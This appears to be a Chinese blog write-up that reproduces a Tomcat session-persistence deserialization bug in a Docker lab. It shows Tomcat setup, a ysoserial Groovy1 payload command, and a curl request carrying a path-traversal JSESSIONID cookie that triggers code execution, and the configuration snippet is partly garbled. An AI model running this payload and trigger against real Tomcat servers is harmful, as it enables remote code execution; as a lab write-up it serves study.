tomcat session漏洞复现

2020-08-14  本文已影响0人  喵了个咪0

采用docker容器搭建(复现的比较垃圾,本来想搞个docker容器镜像出来,不过好多问题没搞定,不过漏洞复现的原理一样,还望大佬们勿怪,think you)

1、 加载一个ubuntu容器(极其精简)

docker  pull ubuntu

2、运行进入Ubuntu系统命令:

docker run -ti ubuntu bash

3、共享宿主机目录到Ubuntu系统中(执行2,不用执行3):

docker run -it -v /AAA:/BBB ubuntu bash

4、登陆docker中的ubuntu镜像系统:

docker run -ti ubuntu /bin/bash

5、正确退出系统方式:

先按,ctrl+p

再按,ctrl+q

6、下载tomcat 10.0.0-M4,下载地址:

apt install wget

wget   https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz

7、安装tomcat需要java8环境,Java8环境安装教程

https://www.jianshu.com/p/9ec7838411c8

8、搭建一个tomcat服务,下载tomcat 10.0.0-M4,下载地址:

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/tomcat-10.0.0-M4.tar.gz

9、搭建tomcat

在/usr/local/下创建一个tomcat目录,将文件解压进去

mkdir /usr/local/tomcat

tar -zxvf tomcat-10.0.0-M4.tar.gz -C /usr/local/tomcat/

修改/usr/local/tomcat/conf/context.xlm 添加Manager

<!-- Default set of monitored resources. If one of these changes, the --><!-- web application will be reloaded. -->WEB-INF/web.xmlWEB-INF/tomcat-web.xml${catalina.base}/conf/web.xml<!-- Uncomment this to enable session persistence across Tomcat restarts --><!-- <Manager pathname="SESSIONS.ser" /> -->

这个 directory 设置成什么都没有关系, 因为不过滤../

10、下载 groovy-2.3.9.jar

https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9

将 groovy-2.3.9.jar 放入

/usr/local/tomcat/lib

11、执行语句运行 Tomcat

/usr/local/tomcat/bin/catalina.sh start

12、配置tomcat的开机启动

https://www.cnblogs.com/suphowe/p/12066726.html

13、由于不知道怎么才可以将搭建的docker容器端口映射到本地,所以采用在容器内进行漏洞复现

1、采用ysoserial生成payload

java -jar ysoserial-master-30099844c6-1.jar Groovy1"touch /tmp/2333">/tmp/test.session  (/tmp/test.session为自己的服务器)

2、将生成的session文件上传到容器中tmp/(docker cp这个命令我这里用不了,采用的是通过http协议,从服务器上下载的)

3、在容器内部采用curl进行验证

curl 'http://127.0.0.1:/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

4、验证结果

参考链接:

https://www.jianshu.com/p/9ec7838411c8

https://mp.weixin.qq.com/s/r8Mk1TYJqFIxDk8SkWorrg

https://www.freebuf.com/vuls/245232.html

上一篇下一篇

猜你喜欢

热点阅读